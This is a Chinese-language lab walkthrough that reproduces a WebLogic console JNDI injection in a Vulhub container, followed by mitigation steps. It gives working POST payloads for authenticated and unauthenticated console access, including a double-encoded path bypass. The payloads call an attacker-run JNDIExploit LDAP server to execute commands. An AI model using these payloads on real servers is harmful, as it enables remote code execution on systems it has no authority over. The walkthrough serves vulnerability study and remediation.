影响版本
- WebLogic 10.3.6.0.0
 - WebLogic 12.1.3.0.0
 - WebLogic 12.2.1.3.0
 - WebLogic 12.2.1.4.0
 - 
环境准备
 靶机直接使用Vulhub/Weblogic/CVE-2017-10271/
$ cd vulhub/weblogic/CVE-2020-14882/$ docker-compose up -d
访问看到这个404页面说明部署成功

漏洞复现
- 先在攻击机上使用JNDIExploit启动LDAP,此时会同时开启LDAP和HTTP服务
$ java -jar JNDIExploit.jar -i <VPS_IP>
 
授权访问后台JNDI注入
- 使用浏览器访问控制台:
http://<IP:PORT>/console/login/LoginForm.jsp进行登录。默认账号为weblogic,密码可在靶机使用以下命令查询: 
$ docker-compose logs | grep password

- 登录后访问:
http://<IP:PORT>/console/console.portal可进入控制台。使用Burp抓包,发送到Repeater 

- 在
Repeater中修改请求为以下Payload,需要注意的是,服务器IP格式为xxx.xxx.xxx;xxx,最后一段是以分号;分割的POST /console/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22ldap://xxx.xxx.xxx;xxx:1389/Basic/WeblogicEcho;AdminServer%22) HTTP/1.1
 

- 尝试执行CMD命令
 

未授权访问后台JNDI注入
- 和前面差不多,只不过此处访问的是
http://<IP:PORT>/console/css/%252e%252e%252f/consolejndi.portal 

- 然后使用Burp抓包并发送到
Repeater,同样需要注意服务器IP格式为xxx.xxx.xxx;xxx,Payload如下 
POST /console/css/%25%32%65%25%32%65%25%32%66/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&cqqhandle=com.bea.console.handles.JndiBindingHandle(%22ldap://xxx.xxx.xxx;xxx:1389/Basic/WeblogicEcho;AdminServer%22) HTTP/1.1
- 这里直接执行命令吧
 
修复方案
- 禁用T3协议:如果您不依赖T3协议进行JVM通信,可通过暂时阻断T3协议缓解此漏洞带来的影响
- 进入Weblogic控制台,在base_domain配置页面中,进入“安全”选项卡页面,点击“筛选器”,配置筛选器。
 - 在连接筛选器中输入:
weblogic.security.net.ConnectionFilterImpl,在连接筛选器规则框中输入:* * 7001 deny t3 t3s 
 - 禁止启用IIOP:登陆Weblogic控制台,找到启用IIOP选项,取消勾选,重启生效
 - 临时关闭后台
/console/console.portal对外访问 - 升级官方安全补丁
 
